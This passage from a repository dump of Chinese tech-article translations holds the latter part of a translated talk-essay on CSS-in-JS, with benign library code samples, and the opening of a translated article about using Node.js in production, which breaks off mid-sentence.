抽取关键 CSS\n3.  更智能的优化\n4.  打包管理\n5.  在非浏览器环境下的样式\n\n让我们做进一步的了解，仔细看看 CSS-in-JS 在这几个方面分别带来了什么。\n\n### 1.\n\n#### **拥有作用域的样式**\n\n众所周知，想要在大规模项目中高效地构建 CSS 是非常困难的。当加入一个需要长期维护的项目时，我们通常会发现 CSS 是系统中最复杂的部分。\n\n为了解决这个问题，CSS 社区已经投入了巨大的努力，通过采用 [Nicole Sullivan](https://twitter.com/stubbornella) 提出的 [OOCSS](https://github.com/stubbornella/oocss/wiki) 和 [Jonathan Snook](https://twitter.com/snookca) 提出的 [SMACSS](https://smacss.com/) 都可以提高我们样式的可维护性。但是目前就流行程度而言，最佳的选择毫无争辩是 [Yandex](https://github.com/yandex) 提出的 [BEM](http://getbem.com) （Block Element Modifier）。\n\n从根本上来说，BEM （纯粹用于 CSS 时）只是一个命名规范，它要求样式的类名要遵守 `.Block__element--modifier` 的模式。在任何使用 BEM 风格的代码库中，开发人员必须始终遵守 BEM 的规则。当被严格遵守时，BEM 的效果很好，但是为什么像作用域这种基础的东西，却只使用纯粹的**命名规范**来限制呢？\n\n无论是否有明确表示，大多数 CSS-in-JS 类库的思路和 BEM 都很相似，它们努力将样式独立作用于单个 UI 组件，只不过他们用了完全不同的实现方式。\n\n那么在实际代码中是什么样子呢？当使用 [Sunil Pai](https://twitter.com/threepointone) 开发的 [glamor](https://github.com/threepointone/glamor) 时，代码看起来像下面这样：\n\n```\nimport { css } from 'glamor'\nconst title = css({\n  fontSize: '1.8em',\n  fontFamily: 'Comic Sans MS',\n  color: 'blue'\n})\nconsole.log(title)\n// → 'css-1pyvz'\n```\n\n你可能会注意到**这段代码中没有 CSS 类**。样式不再是对系统其他地方定义的 class 的硬编码引用，而是由我们的工具库自动生成的。我们不必再担心选择器会在全局作用域里发生冲突，这也意味着我们不再需要替他们添加前缀了。\n\n这个选择器的作用域与上下文代码的作用域一致。如果你希望在你应用的其他部分使用这个规则，你就需要将它转换成 JavaScript 模块并且在需要使用的地方引用它。就保持代码库的可维护性而言，这是非常强大的，**它确保了任何给定的样式都可以像其他代码一样容易追踪来源**。\n\n**从仅仅靠命名约定来限制样式的作用域到默认强制局部作用域样式转变，我们已经提升了样式的基本能力。BEM 的功能已经被默认使用了，而不再是一个可选项。**\n—\n\n在我继续之前，我要澄清至关重要的一点。\n\n**它生成的是真正的 CSS，而不是内联样式**\n\n大多数早期的 CSS-in-JS 库都是将样式直接内联到每个元素上，但是这种模式有个严重的缺陷：'style' 属性并不能胜任所有 CSS 的功能。大多数新的 CSS-in-JS 库则侧重于**动态样式表**，在运行时从一个全局样式集中插入和删除规则。\n\n举个例子，让我们看看由 [Oleg Slobodskoi](https://twitter.com/oleg008) 开发的 [JSS](https://github.com/cssinjs/jss)，这是最早生成**真正 CSS** 的 CSS-in-JS 库之一。\n\n![](https://cdn-images-1.medium.com/max/1600/1*ltBvwbyvBt8OMdGZQOdMDA.png)\n\n使用 JSS 时，你可以使用标准的 CSS 特性，比如 hover 和媒体查询，它们会映射成相应的 CSS 规则。\n\n```\nconst styles = {\n  button: {\n    padding: '10px',\n    '&:hover': {\n      background: 'blue'\n    }\n  },\n  '@media (min-width: 1024px)': {\n    button: {\n      padding: '20px'\n    }\n  }\n}\n```\n\n将这些样式插入到文档中后，你就可以使用那些自动生成的类名。\n\n```\nconst { classes } = jss.createStyleSheet(styles).attach()\n```\n\n不管你是使用一个完整的框架，还是简单粗暴地使用 **innerHTML**，当用 **JavaScript** 生成 **HTML** 时，都可以使用这些生成的 **类** 代替硬编码的类名。\n\n```\ndocument.body.innerHTML = `\n  <h1 class=\"${classes.heading}\">Hello World!</h1>\n`\n```\n\n但是单独使用这种方式管理样式并没有带来很大的优势，它通常需要和一些组件库搭配使用。因此，可以很容易找到适用于目前最流行库的绑定方案。例如，JSS 可以通过 [react-jss](https://github.com/cssinjs/react-jss) 的帮助轻松地绑定到 React 组件上，在管理生命周期的同时，它可以帮你给每个组件插入一个小的样式集。\n\n```\nimport injectSheet from 'react-jss'\nconst Button = ({ classes, children }) => (\n  <button className={classes.button}>\n    <span className={classes.label}>\n      {children}\n    </span>\n  </button>\n)\nexport default injectSheet(styles)(Button)\n```\n\n通过代码层面上的紧密结合将我们的样式集中到组件上，我们得到了合乎 BEM 逻辑的结果。但是，CSS-in-JS 社区的许多人觉得提取、命名和复用组件的重要性在所有绑定样式的样板中都被遗弃了。\n\n[Glen Maddern](https://twitter.com/glenmaddern) 和 [Max Stoiber](https://twitter.com/mxstbr) 提出了一个全新的思路来解决这个问题 —— [styled-components](https://github.com/styled-components/styled-components)。\n\n![](https://cdn-images-1.medium.com/max/1600/1*l4nfMFKxfT4yNTWUK2Vsdg.png)\n\n我们强制性地直接创建组件，而不是创建样式然后再手动地将他们绑定到组件上。\n\n```\nimport styled from 'styled-components'\n\nconst Title = styled.h1`\n  font-family: Comic Sans MS;\n  color: blue;\n`\n```\n\n在应用这些样式时，我们不会将 class 添加到一个现有的元素上，而是简单地渲染这些被生成的组件。\n\n```\n<Title>Hello World!</Title>\n```\n\nstyled-components 通过模板字面量的方式来使用传统的 CSS 语法，但有人更喜欢使用数据结构。来自 [PayPal](https://github.com/paypal) 的 [Kent C. Dodds](https://twitter.com/kentcdodds) 所提供的 [Glamorous](https://github.com/paypal/glamorous) 是一个值得关注的替代方案。\n\n![](https://cdn-images-1.medium.com/max/1600/1*Ere9GQTIJeNac2ONfZlfdw.png)\n\nGlamorous 提供了与 styled-components 类似的组件优先的 API，但是他用**对象**替代了**字符串**。这样就无需在库中引入一个 CSS 解析器，从而可以降低库的大小并提升性能。\n\n```\nimport glamorous from 'glamorous'\n\nconst Title = glamorous.h1({\n  fontFamily: 'Comic Sans MS',\n  color: 'blue'\n})\n```\n\n\n无论你使用哪种语法来描述你的样式，他们都不再仅仅**作用于**某个组件，而是成为组件不可分割的一部分。当使用一个像 React 这样的库时，组件是基本的构建块，而现在我们的样式也成了构建这个架构的核心部分。**既然我们能将应用程序中的所有内容都描述为组件，那么为什么样式不行呢？**\n\n—\n\n对于那些有丰富 BEM 开发经验的工程师来说，我们对系统改造所带来的提升意义并不是很大。然而事实上，CSS Modules 让你在不用放弃所熟悉的 CSS 工具生态的同时获得了这些提升，这也是很多项目坚持使用 CSS Modules 的原因，他们可以在保持其常规 CSS 编码习惯的同时充分解决编写大规模 CSS 所遇到的问题。\n\n然而，当我们开始在这些基本概念之上进行构建时，事情开始变得更有趣。\n\n### 2.\n\n#### 抽取关键 CSS\n\n最近，在 document 的头部内联关键样式已经成为一种最佳实践，只提供当前页面所需的样式从而降低了首屏渲染时间。这与我们常用的样式加载方式形成了鲜明对比，之前我们通常会强制浏览器在渲染之前下载应用的所有样式。\n\n虽然像 [Addy Osmani](https://twitter.com/addyosmani) 提供的 [critical](https://github.com/addyosmani/critical) 这类工具可以用于提取和内联关键 CSS，但是他们无法从根本上改变关键 CSS 难以维护和自动化的事实。这只是一个可选择用来做性能优化的奇技淫巧，所以大部分项目似乎放弃了这一步。\n\nCSS-in-JS 则完全不同。\n\n当你的应用使用服务端渲染时，提取关键 CSS 将不仅仅是优化，而是服务器端 CSS-in-JS 的首要工作。\n\n举个例子，当使用 [Khan Academy](https://github.com/Khan) 开发的 [Aphrodite](https://github.com/Khan/aphrodite) 时，可以通过它的 `css` 函数来跟踪在这次渲染过程中使用的样式，并且将生成的 class 内联到元素上。\n\n```\nimport { StyleSheet, css } from 'aphrodite'\nconst styles = StyleSheet.create({\n  title: { ... }\n})\nconst Heading = ({ children }) => (\n  <h1 className={css(styles.heading)}>{ children }</h1>\n)\n```\n\n即便你所有的样式都是在 JavaScript 中定义的，你也可以很轻松地提取当前页面所需要的所有样式并生成一个 CSS 字符串，在执行服务端渲染时将它们插入到 document 的头部。\n\n```\nimport { StyleSheetServer } from 'aphrodite';\n\nconst { html, css } = StyleSheetServer.renderStatic(() => {\n  return ReactDOMServer.renderToString(<App/>);\n});\n```\n\n现在你可以像这样渲染你的关键 CSS 代码块：\n\n```\nconst criticalCSS = `\n  <style data-aphrodite>\n    ${css.content}\n  </style>\n`;\n```\n\n如果你研究过 React 的服务端渲染模型，你可能会发现这个模式非常眼熟。在 React 中，你的组件是在 JavaScript 中定义他们的标签的，但却可以在服务器端渲染成常规的 HTML 字符串。\n\n**如果你使用渐进增强的方式构建你的应用，即便整个项目可能全部是用 JavaScript 写的，客户端也可能根本就不需要 JavaScript。**\n\n不管怎样，对于客户端运行的代码而言，其打包后的 bundle 都要包含启动单页应用所需要的代码。这些代码可以让页面瞬间活起来，浏览器中的渲染也是从这里开始的。\n\n由于在服务器上渲染 HTML 和 CSS 是同时进行的，正如前面的例子所示，像 Aphrodite 这样的库通常会以一个函数调用的方式帮助我们流式生成关键 CSS 和服务端渲染的 HTML。现在，我们可以用类似的方式将我们的 React 组件渲染成静态 HTML。\n\n\n```\nconst appHtml = `\n  <div id=\"root\">\n    ${html}\n  </div>\n`\n```\n\n通过在服务器端使用 CSS-in-JS，我们的单页应用不仅可以脱离 JavaScript 工作，**它甚至可以渲染的更快**。\n\n**正如有作用域的 CSS 选择器一样，渲染关键 CSS 这个最佳实践现在也是默认具备的能力了，而不是被选择性使用的**。\n\n### 3.\n\n#### 更智能的优化\n\n我们最近看到了构建 CSS 的新方式的兴起，比如 [Yahoo](https://github.com/yahoo) 的 [Atomic CSS](https://acss.io/) 和 [Adam Morse](https://twitter.com/mrmrs_) 的 [Tachyons](http://tachyons.io/)，它们更推荐使用短小的、单一用途的 class，而不是语义化的 class。举个例子，当使用 Atomic CSS 时，你将使用类似于函数调用的语法来添加类名，并且它们会被用来生成合适的样式表。\n\n```\n<div class=\"Bgc(#0280ae.5) C(#fff) P(20px)\">\n  Atomic CSS\n</div>\n```\n\n这种做法的目的是通过最大化地提高 class 的复用性，以及有效地将 class 像内联样式一样对待，lai确保打包出来的 CSS 尽可能的精简。虽然文件大小的减少很容易体现，但对于你的代码库和团队成员的影响似乎是微乎其微的。不过这些包含了对 CSS 和 HTML 更改的优化，由于其自身性质，成就了一个更具意义的架构。\n\n正如我们之前介绍的那样，当使用 CSS-in-JS 或者 CSS Modules 时，你不再需要在 HTML 中硬编码你的 class，而是动态引用由库或者构建工具自动生成的 JavaScript 值。\n\n我们不再这样写样式：\n\n```\n<aside className=\"sidebar\" />\n```\n\n而是这样：\n\n```\n<aside className={styles.sidebar} />\n```\n\n这个变化表面上看起来也许没什么，但是从如何管理标记语言和样式之间的关系上来说，这却是一个里程碑式的改变。通过给予我们的 CSS 工具修改样式的能力，尤其是修改最终应用到元素上的 class 的能力，我们为样式表解锁了一个全新的优化方式。\n\n如果看看上面的例子，就会发现 \"styles.sidebar\" 对应了一个字符串，但并没有限制它只能是一个单独的 class。我们都知道，它可以很容易地成为一个包含十几个 class 的字符串。\n\n```\n<aside className={styles.sidebar} />\n// Could easily resolve to this:\n<aside className={'class1 class2 class3 class4'} />\n```\n\n如果我们可以优化我们的样式，为每一套样式生成多个 class，我们就可以做一些真正有趣的事。\n\n我最喜欢的例子是 [Ryan Tsao](https://twitter.com/rtsao) 编写的 [Styletron](https://github.com/rtsao/styletron)。\n\n![](https://cdn-images-1.medium.com/max/1600/1*7xxb6FOmcmPCnQNrFy5pjg.png)\n\n就像 CSS-in-JS 和 CSS Modules 自动添加 BEM 风格的前缀一样，Styletron 对 Atomic CSS 做了同样的事情。\n\n它的核心 API 只专注于一件事 —— 为每个由属性、值、媒体查询组合起来的样式定义一个单独的 CSS 规则，然后返回一个自动生成的 class。\n\n```\nimport styletron from 'styletron';\nstyletron.injectDeclaration({\n  prop: 'color',\n  val: 'red',\n  media: '(min-width: 800px)'\n});\n// → 'a'\n```\n\n\n当然，Styletron 也提供了一些高级 API，比如它的 `injectStyle` 函数允许一次定义多个规则。\n\n```\nimport { injectStyle } from 'styletron-utils';\ninjectStyle(styletron, {\n  color: 'red',\n  display: 'inline-block'\n});\n// → 'a d'\ninjectStyle(styletron, {\n  color: 'red',\n  fontSize: '1.6em'\n});\n// → 'a e'\n```\n\n请注意上面生成的两组类名之间的相同点。\n\n**通过放弃对 class 本身的低级控制，而仅定义所需要的样式，就可以让工具库帮我们生成最佳的原子 class 集合。**\n\n![](https://cdn-images-1.medium.com/max/1600/1*pWXr1A6uhiOkYHqwfBMtWg.png)\n\n过去我们只能通过手工查找的方式将样式拆分成可复用的 class，现在已经可以完全自动化的完成这种优化了。你应该也开始注意到这种趋势了。**原子 CSS 已经是默认具备的能力，而不再是被选择性使用的**。\n\n### 4.\n\n#### 打包管理\n\n在深入讨论这一点之前，我们先停下来思考一个看似简单的问题。\n\n**我们如何相互分享 CSS？**\n\n我们已经从手动下载 CSS 文件转变为使用像 [Bower](https://bower.io) 这种前端特定的包管理工具，现在则可以通过 [npm](https://www.npmjs.com/) 使用 [Browserify](http://browserify.org/) 和 [webpack](https://webpack.js.org)。虽然这些工具已经可以自动引入外部依赖包里的 CSS，\u0010但是目前前端社区大多还是手动处理 CSS 的依赖关系。\n\n无论使用哪种方式，你得清楚一件事：CSS 之间的依赖并不是很好处理。\n\n正如许多人还记得的一样，在使用 Bower 和 npm 管理 **JavaScript 模块**时，出现过类似的情况。\n\nBower 没有指定任何特定的模块格式，而发布到 npm 的模块则要求使用 [CommonJS 模块格式](http://wiki.commonjs.org/wiki/Modules/1.1)。这种不一致，对发布到每个平台的包数量产生了巨大的影响。\n\n\n规模小但是有嵌套依赖关系的模块更愿意使用 npm，Bower 则吸引了大型而又独立的模块，其中可能也就有两三个模块，再加几个插件。由于在 Bower 中你的依赖关系没有一个模块系统去作支撑，每个包无法轻松地利用它自己的依赖关系，所以在整合这一块，基本上就留给开发者手动去操作了。\n\n因此，随着时间的推移，npm 上的模块数量呈指数性增长，而 Bower 只能是有限的线性增长。虽然这可能是各种原因导致的，但很公平地说，主要还是由每个平台是否允许模块在运行时互相引用导致的。\n\n![](https://cdn-images-1.medium.com/max/1600/1*LTrsIISPV5qK-qAQKaeINA.png)\n\n不幸的是，对于 CSS 社区来说这太熟悉了，我们发现相对于 npm 上的 JavaScript 包来说，独立的 CSS 模块的数量也增长的很慢。\n\n如果我们也想实现 npm 的指数增长呢？如果我们想依赖不同大小不同层次的复杂模块，而不是专注于大型、全面的框架呢？为了做到这一点，我们不仅需要一个包管理器，还需要一个合适的模块格式。\n\n这是否意味着我们需要专门为 CSS 或者 Sass 和 Less 这样的预处理器设计一个包管理工具？\n\n真正有趣的是，我们已经通过 HTML 进行了类似的实现。如果你就如何分享 HTML 问我类似的问题，你可能马上就会意识到，我们几乎不会直接分享原始的 HTML —— 我们分享 **HTML-in-JS**。\n\n我们通过 [jQuery 插件](https://plugins.jquery.com/)，[Angular 指令](http://ngmodules.org) 和 [React 组件](https://react.parts/web)来实现这个功能。我们的大组件是由一些独立发布在 npm 上，包含自己 HTML 的小组件组成的。原生 HTML 格式也许没有这种能力，但是**通过将 HTML 嵌入到完整的编程语言中**，我们就可以很轻松的突破这个限制。\n\n如果我们像 HTML 那样，通过 JavaScript 去分享以及生成 CSS 呢？能不能使用**返回对象和字符串的函数**而不是使用 [mixins](http://sass-lang.com/documentation/file.SASS_REFERENCE.html#mixins) ？又或者我们利用  [Object.assign](https://developer.mozilla.org/en/docs/Web/JavaScript/Reference/Global_Objects/Object/assign) 和新的 [object spread 操作符](https://github.com/tc39/proposal-object-rest-spread) 来 **merge 对象**而不是用 [extending classes](http://sass-lang.com/documentation/file.SASS_REFERENCE.html#extend) 呢？\n\n```\nconst styles = {\n  ...rules,\n  ...moreRules,\n  fontFamily: 'Comic Sans MS',\n  color: 'blue'\n}\n```\n\n一旦我们开始用这种方式编写我们的样式，我们就可以使用相同的模式、相同的工具、相同的基础架构、相同的生态系统来编写和分享我们的样式代码，就像我们应用程序中的任何其他代码一样。\n\n由 [Max Stoiber](https://twitter.com/mxstbr)、[Nik Graf](https://twitter.com/nikgraf) 和 [Brian Hough](https://twitter.com/b_hough) 提供的 [Polished](https://github.com/styled-components/polished) 就是一个你如何从中受益的良好示例。 \n\n![](https://cdn-images-1.medium.com/max/1600/1*fczf3OWmmKBkFgtUqZnq2g.png)\n\nPolished 就像是 CSS-in-JS 界的 [Lodash](https://lodash.com)，它提供了一整套完整的 mixins、颜色函数、一些速写方法等等，使得那些使用 [Sass](http://sass-lang.com) 的开发者可以熟练地在 JavaScript 中编写样式。现在有一个最大的区别就是这些代码在复用、测试和分享方面，都提高了一个层级，并且能够完整的使用 JavaScript 模块生态系统。\n\n那么，当谈到 CSS 时，我们如何获得和 npm 上其他模块相似的开源程度，以及如何用一些小的可复用的开源包组合成大型样式集合？奇怪的是，我们最终可以通过将我们的 CSS 嵌入另一种语言并且完全拥抱 JavaScript 模块实现了这一点。\n\n### 5.\n\n#### 在非浏览器环境下的样式\n\n到目前为止，我的文章已经涵盖了所有的要点，虽然在 JavaScript 中编写 CSS 会更加便捷，但是常规的 CSS 也可以实现这些功能。这也是我把最有趣、最面向未来的一点留到现在的原因。也许它不一定能在如今的 CSS-in-JS 社区中发挥巨大的作用，但它可能会成为设计领域未来发展的基石。它不仅会影响开发人员，也会影响设计师，最终它将改变这两个领域相互沟通的方式。\n\n为了引入它，我先简单介绍一下 React。\n—\n\nReact 的理念是用组件作为最终渲染的中间层。在浏览器中工作时，我们构建复杂的虚拟 DOM 树而不是直接操作 DOM 元素。\n\n有趣的是，DOM 渲染相关的代码并不属于 React 的核心部分，而是由 **react-dom** 提供的。\n\n```\nimport { render } from 'react-dom'\n```\n\n尽管最初 React 是为 DOM 设计的，并且大部分情况下还是在浏览器中使用，但是这种模式也允许 React 通过简单地引入新的渲染引擎就能从容面对各种不同的使用环境。\n\nJSX 不仅仅可以用于虚拟 DOM，他可以用在任何的虚拟视图上。\n\n这就是 [React Native](https://facebook.github.io/react-native) 的工作原理，我们通过编写那些渲染成 native 的组件以实现用 JavaScript 编写真正的 native 应用，比如我们用 **View** 和 **Text** 取代了 **div** 和 **span**。\n\n从 CSS 的角度来看，React Native 最有趣的就是它拥有自己特有的 [StyleSheet API](https://facebook.github.io/react-native/docs/stylesheet.html)：\n\n```\nvar styles = StyleSheet.create({\n  container: {\n    borderRadius: 4,\n    borderWidth: 0.5,\n    borderColor: '#d6d7da',\n  },\n  title: {\n    fontSize: 19,\n    fontWeight: 'bold',\n  },\n  activeTitle: {\n    color: 'red',\n  }\n})\n```\n\n\n这里你会看到一组熟悉的样式，在这种情况下可以覆盖颜色、字体和边框样式。\n\n这些规则都非常简单，并且很容易映射到大部分的 UI 环境上，但是当涉及到 native 布局时，事情就变得非常有趣了。\n\n```\nvar styles = StyleSheet.create({\n  container: {\n    display: 'flex'\n  }\n})\n```\n\n尽管运行在浏览器环境之外，**React Native 有自己的 [flexbox](https://developer.mozilla.org/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout/Using_CSS_flexible_boxes) 的 native 实现**\n\n最初发布时它是一个名为 [css-layout](https://www.npmjs.com/package/css-layout) 的 JavaScript 模块，完全用 JavaScript 重新实现了 flexbox（包含充分的测试），为了更好的可移植性它现在已经迁移到 C 语言。\n\n鉴于这个项目的影响力和重要性，它被赋予了一个独立的重要品牌 ——— [Yoga](https://facebook.github.io/yoga)。\n\n![](https://cdn-images-1.medium.com/max/1600/1*mv_hHmbOgU7SOd5t2J2Q2g.png)\n\n即使 Yoga 完全是为了把 CSS 概念移植到非浏览器环境而生，但通过仅仅专注 CSS 特性的子集，它已经统治了一些潜在的其他领域。\n\n> \"Yoga 的重点是成为一个有表现力的布局框架，而不是去实现一套完整的 CSS\"\n\n这看起来似乎很难实现，但是当你回顾 CSS 体系的历史时会发现**使用 CSS 进行规模化的工作就是选择一个合适的语言子集**。\n\n在 Yoga 的例子里，他们避免了层叠样式，因为这样有利于控制样式的作用域，并且将布局引擎完全集中在 flexbox 上。虽然这样会丧失很多功能，但它也为那些需要嵌入样式的跨平台组件创造了惊人的机会，我们已经发现几个试图利用这个特性的开源项目。\n\n[Nicolas Gallagher](https://twitter.com/necolas) 开发的 [React Native for Web](https://github.com/necolas/react-native-web) 旨在成为 react-native 的一个替代品。当使用 webpack 这类打包工具时，可以利用 alias 轻松替换第三方库。\n\n```\nmodule: {\n  alias: {\n    'react-native': 'react-native-web'\n  }\n}\n```\n\n\n使用 React Native for Web 后可以在浏览器环境中使用 React Native 组件，包括 [React Native StyleSheet API](https://facebook.github.io/react-native/docs/stylesheet.html) 的浏览器部分。\n\n同样，[Leland Richardson](https://twitter.com/intelligibabble) 开发的 [react-primitives](https://github.com/lelandrichardson/react-primitives) 也提供了一套跨平台的基础组件集合，它根据目标平台来抽象具体的实现细节，为跨平台组件创造可行的标准。\n\n甚至 [微软](https://github.com/Microsoft) 也推出了 [ReactXP](https://microsoft.github.io/reactxp)，这个库旨在简化跨 web 和 native 的工作流，它也有自己的[跨平台样式实现](https://microsoft.github.io/reactxp/docs/styles.html)。\n\n—\n\n即使你不为 native 应用程序编写代码，也有很重要的一点要注意：拥有一个真正的跨平台的组件抽象，能够帮我们有针对性地应对各种各样的环境，有时你都无法预测会遇到哪些情况。\n\n我所见过的最令人震惊的例子是 [Airbnb](https://github.com/airbnb) 的 [Jon Gold](https://twitter.com/jongold) 开发的 [react-sketchapp](http://airbnb.io/react-sketchapp)。\n\n![](https://cdn-images-1.medium.com/max/1600/1*qfskIhHAWpYwfR5Lz0_cIA.png)\n\n我们中很多人都花费了大量时间去尝试标准化我们的设计语言，并且尽可能的避免系统中的重复部分。不幸的是，尽管我们希望样式是唯一的，但我们最少也会有两个来源 —— **开发人员的动态样式以及设计师的静态样式**。虽然这已经比我们之前的模式好了很多，但是它仍然需要我们手工的将样式从 [Sketch](https://www.sketchapp.com) 这样的设计工具同步到代码里。这也是 react-sketchapp 被开发出来的原因。\n\n感谢 Sketch 的 [JavaScript API](http://developer.sketchapp.com/reference/api)，以及 React 与不同渲染引擎相连的能力，react-sketchapp 让我们可以利用跨平台的 React 组件并在 Sketch 文档里渲染他们。\n![](https://cdn-images-1.medium.com/max/1600/1*v2L1DB8OS38GScyBRFD8hQ.png)\n\n不必多说，这很可能改变设计师和开发人员的合作方式。现在，当我们对设计进行迭代时，无论在设计工具还是开发者工具上，我们都可以通过相同的声明引用同一个组件。\n\n通过 [Sketch 中的 symbols](https://www.sketchapp.com/learn/documentation/symbols)和 [React 中的组件](https://facebook.github.io/react/docs/components-and-props.html)，我们的行业从本质上开始汇合成同一个抽象，并且通过分享相同的工具我们可以更紧密的协作。\n\n这么多新的尝试都来自 React 和其周边的社区，这并不是巧合。\n\n在组件架构中，优先级最高的就是将组件的关注点集中在一起。这自然包括它的局部作用域样式，也要感谢 [Relay](https://facebook.github.io/relay) 和 [Apollo](http://dev.apollodata.com) 这两个库，他们让我们可以往数据获取这些更复杂的方向延伸。结果就是他们释放了巨大的潜力，而我们现在所了解的，只是其中冰山一角。\n\n这对我们的样式编写以及架构中的任何部分都产生了积极的影响。\n\n通过将我们开发组件的模式统一到单一语言上，我们能够从功能上，而不是从技术上，将我们的关注点进行更好的分离。比如我们可以将组件的所有内容都限制在自己的作用域内，从他们扩展成大型的可维护的系统，用之前无法使用的方式进行优化，更便捷的分享我们的工作，以及利用小型开源模块构建大型应用程序。更重要的是，我们依然遵循渐进增强的理念，也不会放弃那些被认为是认真对待 web 平台的理念。\n\n最重要的是，我对使用单一语言编写出的组件的潜力感到兴奋，他们形成了一种新的、统一的样式语言基础，并以一种前所未有的方式统一了前端社区。\n\n在 SEEK，我们正在努力利用这一特性，我们围绕组件模型来构建在线样式指南，其中语义化、交互和视觉风格都统一在一个单独的抽象中。这形成了开发人员和设计师之间共享的通用设计语言。\n\n构建一个页面应该尽可能的和拼装组件一样简单，这样可以确保我们的工作保持较高的质量，并且允许我们在产品上线很久后也有能力去升级其设计语言。\n\n```\nimport {\n  PageBlock,\n  Card,\n  Text\n} from 'seek-style-guide/react'\nconst App = () => (\n  <PageBlock>\n    <Card>\n      <Text heading>Hello World!</Text>\n    </Card>\n  </PageBlock>\n)\n```\n\n尽管我们的样式指南是用 React、webpack 和 CSS Modules 构建的，但该架构恰好反映了在使用 CSS-in-JS 构建的任何系统中您都需要注意哪些。技术选型可能有不同，但是核心理念是一样的。\n\n然而，未来这些技术选型可能会以一种意想不到的方式进行转变，因此关注这个领域对于我们组件生态系统的持续发展至关重要。我们现在可能不会用 CSS-in-JS 这项技术，但是很可能没过多久就会出现一个令人信服的理由让我们使用它。\n\nCSS-in-JS 在短时间里已经有了出人意料的发展，但更重要的是，它只是这个宏伟蓝图的开始。\n\n它还有很大的改进空间，并且它的创新还没有停止的迹象。新的库正不断涌现，它们解决了未来会出现的问题并且提升了开发人员的体验 —— 比如性能的提升、在构建时抽取静态 CSS、支持 CSS 变量以及降低了前端开发人员的入门门槛。\n\n这也是 CSS 社区的准入门槛。无论他们对我们的工作流程有多大的改动，**都不会改变你仍然需要学习 CSS 的事实**。\n\n我们可能使用不同的语法，也可能以不同的方式构建我们的应用，但是 CSS 的基本构建块不会改变。同样，我们行业向组件架构的转变是不可避免的，通过这种方式重新构思前端开发的意愿只会越来越强烈。我们非常需要共同合作以确保我们的解决方案可以广泛适用于各种背景的开发人员，无论是专注于设计的，工程的或者对这两方面都很关注的开发者。\n\n虽然有时我们的观点不一致，但是 CSS 和 JS 社区对于改进前端，更加认真地对待 Web 平台以及改进我们下一代 web 开发流程都有很大的热情。社区的潜力是巨大的，而且到目前为止，尽管我们已经解决了大量的问题，仍然有很多工作还没有完成。\n\n到这里，可能你依然没有被说服，但是没关系。虽然现在在工作上使用 CSS-in-JS 并不是很合理，但我希望它有合适的原因，而不是仅仅因为语法就反对它。\n\n无论如何，未来几年这种编写样式的方式可能会越来越流行，并且值得关注的是它发展的非常快。我衷心希望你可以加入我们，无论是通过贡献代码还是**简单地参与我们的对话讨论**，都能使下一代 CSS 工具尽可能有效地服务于所有前端开发人员。或者，至少我希望我已经让你们了解了为什么人们对这一块如此饱含激情，或者，至少了解为什么这不是一个愚蠢的点子。\n\n这篇文章是我在德国柏林参加 CSSconf EU 2017 做相同主题演讲时撰写的，并且现在可以在 [YouTube](https://www.youtube.com/watch?v=X_uTCnaRe94) 上看到相关视频。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。\n\n\n"
  },
  {
    "path": "TODO/after-a-year-of-nodejs-in-production.md",
    "content": ">* 原文链接 : [AFTER A YEAR OF USING NODEJS IN PRODUCTION](http://geekforbrains.com/post/after-a-year-of-nodejs-in-production)\n* 原文作者 : [GEEK FOR BRAINS](http://geekforbrains.com/)\n* 译文出自 : [掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者 : [cdpath](https://github.com/cdpath)\n* 校对者: [godofchina](https://github.com/godofchina) , [Zhangjd](https://github.com/Zhangjd)\n\n# 在生产环境中使用 NODEJS 一年记\n\n本文是[「我为什么弃 Python 从 Node.js」](http://geekforbrains.com/post/why-im-switching-from-python-to-node-js)一文的续集。一年多前，我因为对 Python 的挫败，还想解释为什么转而尝试 Node ，故写下那篇文章。\n\n一年后，公司内部的 CLI（命令行） 工具，客户项目以及[我司](http://inputlogic.ca)产品的更新，这些都是我学到的。不仅仅是 Node，基本上对 JavaScript 也学到不少。\n\n### 易学难精\n\nNode 学起来很容易，尤其是对有 JavaScript 的基础的人。谷歌搜索一些入门教程，折腾一会儿 Express，就可以上道了，不是吗？然后你发现需要折腾数据库。没问题，搜索 NPM。哦，发现不少适用的 SQL 包。稍后你意识到所有的 ORM（对象关系映射）工具都很糟糕，最基本的数据库引擎才是最好的选择。然后就陷在手动实现冗余模型和验证逻辑的泥潭中不能自拔。随后你开始写更复杂的检索语句，开始迷失在回调函数中。自然，你读到了回调函数大坑，砍掉圣诞树，开始选一个 promise 库来用。现在你 Promisify 了一切，终于可以干一杯啤酒了。\n\n上面实际是在说 Node 生态系统仍在经历持续的变革。这不是什么好事。好像每天都有更好的工具涌现取代旧工具。总有新奇的玩意可以取代其他东西。你会感到诧异这些竟会轻易发生在自己头上，而社区在似乎鼓励这种行为。你在用 Grunt！？大家都在用 Gulp！？等等，不对，应该用原生 NPM 脚本！\n\nNPM 有些包只有不足十行代码，每天会被下载数千次。开什么玩笑！？检查个数组类型也要有依赖？甚至诸如 React 和 Babel 的巨型工具也在用这些包。\n\n高速变革的技术根本无法掌握，更别提依赖包潜在的不稳定性。\n\n### 处理错误，自求多福\n\n如果用过 Python，Ruby 或 PHP 这类语言，你可能觉得通过抛出并捕获错误，甚至用函数返回错误的方式来处理错误再自然不过了。但是 Node 不行。相反，你必须用回调函数（或者 promise）传递错误，没错，就是不能抛出异常。当你深陷数个回调函数还试图跟踪调用栈的时候，Node 这种机制就没法用了。更不用说如果你忘了返回一个错误的回调函数，Node 会在你返回第一个错误之后继续运行然后引发其他错误。你会翻倍客户的费用来弥补 debug 的时间。\n\n哪怕你想方设法构造了可靠的自定义错误标准，你也无法（在不阅读源码的前提下）保证已安装的所有 NPM 包都遵循相同的标准模板。\n\n这些问题直接带来了「全捕获」异常处理器的使用，干脆直接记录下问题然后让你的 App 优雅地去屎。牢记，Node 是单线程。如果进程被锁，所有东西都会崩溃。不过这也没什么，你反正可以用 